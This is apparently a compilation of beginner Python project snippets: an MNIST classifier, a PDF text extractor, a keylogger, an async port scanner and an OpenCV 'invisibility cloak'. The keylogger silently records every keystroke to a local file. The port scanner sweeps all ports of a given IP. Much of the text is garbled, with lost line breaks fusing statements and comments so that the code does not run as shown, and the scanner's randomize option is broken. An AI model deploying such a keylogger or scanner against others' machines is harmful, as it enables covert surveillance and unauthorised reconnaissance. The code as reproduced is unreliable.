#Importing Libraries  
import numpy as np  
import tensorflow as tf  
import tensorflow.contrib.learn as learn  
import tensorflow.contrib.metrics as metrics#Importing Dataset  
mnist = learn.datasets.load_dataset('mnist')#Training Datasets  
data = mnist.train.images  
labels = np.asarray(mnist.train.labels, dtype=np.int32)  
test_data = mnist.test.images  
test_labels = np.asarray(mnist.test.labels, dtype=np.int32)  
feature_columns = learn.infer_real_valued_columns_from_input(data)#Applying Classifiers  
classifier = learn.DNNClassifier(feature_columns=feature_columns, n_classes=10,hidden_units=[1024,512,256])  
classifier.fit(data, labels, batch_size=100, steps=1000)#Evaluating the Results   
classifier.evaluate(test_data, test_labels)                                        
accuracy_score = classifier.evaluate(test_data, test_labels)["accuracy"]  
print('Accuracy: {0:f}'.format(accuracy_score))

import PyPDF2  
from os import path  
import sysdef File_existance_checker(filePath):  
    if path.isfile(filePath):  
        return filePath  
    else:  
        print("[-] Provide a valid File")  
        sys.exit(1)  
pdf_stored_path=input("Enter the name of you pdf file (please use backslash when typing in directory path):")textFile_stored_path=path.join(path.dirname(pdf_stored_path),path.basename(pdf_stored_path).replace(".pdf",".txt"))  
pdf_stored_path=File_existance_checker(pdf_stored_path)print(textFile_stored_path)with open(pdf_stored_path,'rb') as pdf_object:  
    pdf_read=PyPDF2.PdfFileReader(pdf_object)  
      
    pdf_pages=pdf_read.numPages  
      
    for i in range(pdf_pages):  
        page_object=pdf_read.getPage(i)  
        with open(textFile_stored_path,'a+') as f:  
            f.write((page_object.extract_text()))  
    print(f"[+] Pdf Text has been extracted and written to {path.basename(textFile_stored_path)}")

import pynput  
from pynput.keyboard import Key, Listenerkeys = []  
def on_press(key):  
 keys.append(key)  
 write_file(keys)def write_file(keys):  
 with open('log.txt', 'w') as f:  
  for key in keys:  
   #removing ''  
   k = str(key).replace("'", "")   
   f.write(k)  
   #explicitly adding a space after every keystroke for readability  
   f.write(' ')def on_release(key):  
 if key == Key.delete:  
  return Falsewith Listener(on_press = on_press, on_release = on_release) as listener:  
 listener.join()

import asyncio  
from random import SystemRandomdef run(tasks, *, loop=None):  
    """Run Asynchronous Tasks"""  
    if loop is None:  
        loop = asyncio.get_event_loop()  
    # waiting for all tasks  
    return loop.run_until_complete(asyncio.wait(tasks))async def scanner(ip, port, loop=None):  
    fut = asyncio.open_connection(ip, port, loop=loop)try:  
        reader, writer = await asyncio.wait_for(fut, timeout=0.5) # This is where it is blocking?  
        print("{}:{} Connected".format(ip, port))  
    except asyncio.TimeoutError:  
        pass  
    # handle connection refused and bunch of others  
    except Exception as exc:  
        print('Error {}:{} {}'.format(ip, port, exc))def scan(ips, ports, randomize=False):  
    """Scan the ports"""  
    loop = asyncio.get_event_loop()  
    if randomize:  
        rdev = SystemRandom()  
        ips = rdev.shuffle(ips)  
        ports = rdev.shuffle(ports)# let's pass list of task, not only one  
    run([scanner(ip, port) for port in ports for ip in ips])ips = [input("IP to scan: ")]  
STEP = 256  
for r in range(STEP+1, 65536, STEP):  
    # print(r)  
    ports = [str(r) for r in list(range(r-STEP, r))]  
    scan(ips, ports)

import cv2  
import numpydef hello(x):  
 print("")if __name__=='__main__':  
 cap = cv2.VideoCapture(0)  
 bars = cv2.namedWindow("bars")cv2.createTrackbar("upper_hue","bars",110,180,hello)  
 cv2.createTrackbar("upper_saturation","bars",255, 255, hello)  
 cv2.createTrackbar("upper_value","bars",255, 255, hello)  
 cv2.createTrackbar("lower_hue","bars",68,180, hello)  
 cv2.createTrackbar("lower_saturation","bars",55, 255, hello)  
 cv2.createTrackbar("lower_value","bars",54, 255, hello)#Capturing the initial frame for creation of background  
 while(True):  
  cv2.waitKey(1000)  
  ret,init_frame = cap.read()  
  if(ret):  
   breakwhile(True):  
  ret,frame = cap.read()  
  inspect = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)#getting the HSV values for masking the cloak  
  upper_hue = cv2.getTrackbarPos("upper_hue", "bars")  
  upper_saturation = cv2.getTrackbarPos("upper_saturation", "bars")  
  upper_value = cv2.getTrackbarPos("upper_value", "bars")  
  lower_value = cv2.getTrackbarPos("lower_value","bars")  
  lower_hue = cv2.getTrackbarPos("lower_hue","bars")  
  lower_saturation = cv2.getTrackbarPos("lower_saturation","bars")#Kernel to be used for dilation  
  kernel = numpy.ones((3,3),numpy.uint8)upper_hsv = numpy.array([upper_hue,upper_saturation,upper_value])  
  lower_hsv = numpy.array([lower_hue,lower_saturation,lower_value])mask = cv2.inRange(inspect, lower_hsv, upper_hsv)  
  mask = cv2.medianBlur(mask,3)  
  mask_inv = 255-mask   
  mask = cv2.dilate(mask,kernel,5)  
    
  #The mixing of frames in a combination to achieve the required frame  
  b = frame[:,:,0]  
  g = frame[:,:,1]  
  r = frame[:,:,2]  
  b = cv2.bitwise_and(mask_inv, b)  
  g = cv2.bitwise_and(mask_inv, g)  
  r = cv2.bitwise_and(mask_inv, r)  
  frame_inv = cv2.merge((b,g,r))b = init_frame[:,:,0]  
  g = init_frame[:,:,1]  
  r = init_frame[:,:,2]  
  b = cv2.bitwise_and(b,mask)  
  g = cv2.bitwise_and(g,mask)  
  r = cv2.bitwise_and(r,mask)  
  blanket_area = cv2.merge((b,g,r))final = cv2.bitwise_or(frame_inv, blanket_area)cv2.imshow("Harry's Cloak",final)if(cv2.waitKey(3) == ord('q')):  
   break;cv2.destroyAllWindows()  
 cap.release()